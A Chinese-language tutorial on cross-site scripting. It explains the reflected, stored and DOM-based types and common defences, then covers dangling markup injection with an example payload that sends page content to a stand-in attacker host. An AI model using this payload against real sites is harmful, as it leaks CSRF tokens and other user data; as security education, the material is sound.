XSS 是什么
跨站脚本攻击(简称 XSS)是一种 Web 安全漏洞,攻击者能够利用它破坏用户与存在漏洞的应用程序之间的交互。该漏洞允许攻击者绕过同源策略(该策略旨在隔离不同网站)。XSS 漏洞通常使攻击者能够伪装成受害用户,执行该用户有权进行的任何操作,并访问用户的任何数据。如果受害用户在应用程序中拥有特权访问权限,攻击者则可能完全控制该应用程序的所有功能与数据。
XSS 通过操控存在漏洞的网站,使其向用户返回恶意JavaScript代码来实现。当恶意代码在受害者浏览器中执行时,攻击者就能完全破坏其与应用程序的交互。
XSS 的基本类型
反射型 XSS
反射型 XSS 是最简单的 XSS 变种。当应用程序接收 HTTP 请求中的数据,并以不安全的方式立即将该数据包含在响应中时,就会出现此漏洞。
如果用户访问了攻击者构造的 URL,那么攻击者的脚本将在用户浏览器中执行,且处于该用户与应用程序的会话上下文中。此时,该脚本可以执行用户有权进行的任何操作,并获取用户有权访问的任何数据
存储型 XSS
存储型 XSS(也称为持久型或二阶 XSS)出现在应用程序从不可信来源接收数据,并以不安全的方式将该数据包含在其后续的 HTTP 响应中时。
相关数据可能通过 HTTP 请求提交给应用程序;例如,博客帖子的评论、聊天室的用户昵称或客户订单的联系方式。其他情况下,数据可能来自其他不可信来源;例如,显示通过 SMTP 接收邮件的 Web 邮件应用程序、显示社交媒体帖子的营销应用程序,或显示网络流量数据包数据的网络监控应用程序
基于 DOM 的 XSS
基于 DOM 的 XSS(也称为 DOM 型 XSS)出现在应用程序包含某些客户端 JavaScript 代码,以不安全的方式处理来自不可信来源的数据(通常是将数据写回 DOM)
典型情况下,输入字段会从 HTTP 请求的某部分(如 URL 查询字符串参数)获取值,这使得攻击者能够通过恶意 URL 发起攻击,其方式与反射型 XSS 类似
如何防范 XSS 攻击
- 在输入时进行过滤:
在接收用户输入时,根据预期或有效的输入进行尽可能严格的过滤 - 在输出时进行编码:
在用户可控数据输出到 HTTP 响应时,对输出进行编码,以防止其被解释为活动内容。根据输出上下文,这可能需要对 HTML、URL、JavaScript 和 CSS 编码进行组合应用 - 使用适当的响应头:
对于本不应包含任何 HTML 或 JavaScript 的 HTTP 响应,为防止 XSS,可以使用 Content-Type 和 X-Content-Type-Options 头来确保浏览器按预期的方式解释响应 - 内容安全策略:
作为最后一道防线,可以使用内容安全策略来降低仍然发生的任何 XSS 漏洞的严重性
限制条件下的注入
悬空标记注入
将注入内容的标签不闭合,并且通过向攻击者服务器发送数据包的方式,获取注入点后面的内容。例如:
<img src='//attacker-website.com?该有效载荷创建一个 <img> 标签,并定义了一个 src 属性的起始部分,该属性包含指向攻击者服务器的 URL。请注意,攻击者的有效载荷并未闭合 src 属性,使其处于“悬空”状态。当浏览器解析响应时,它会向前查找直到遇到一个单引号来终止该属性。在此之前的所有内容都将被视为URL的一部分,并会在URL查询字符串中发送到攻击者的服务器。任何非字母数字字符(包括换行符)都将被URL编码
此攻击的后果是,攻击者能够捕获注入点之后的部分应用程序响应,其中可能包含敏感数据。根据应用程序的功能,这可能包括CSRF令牌、电子邮件消息或财务数据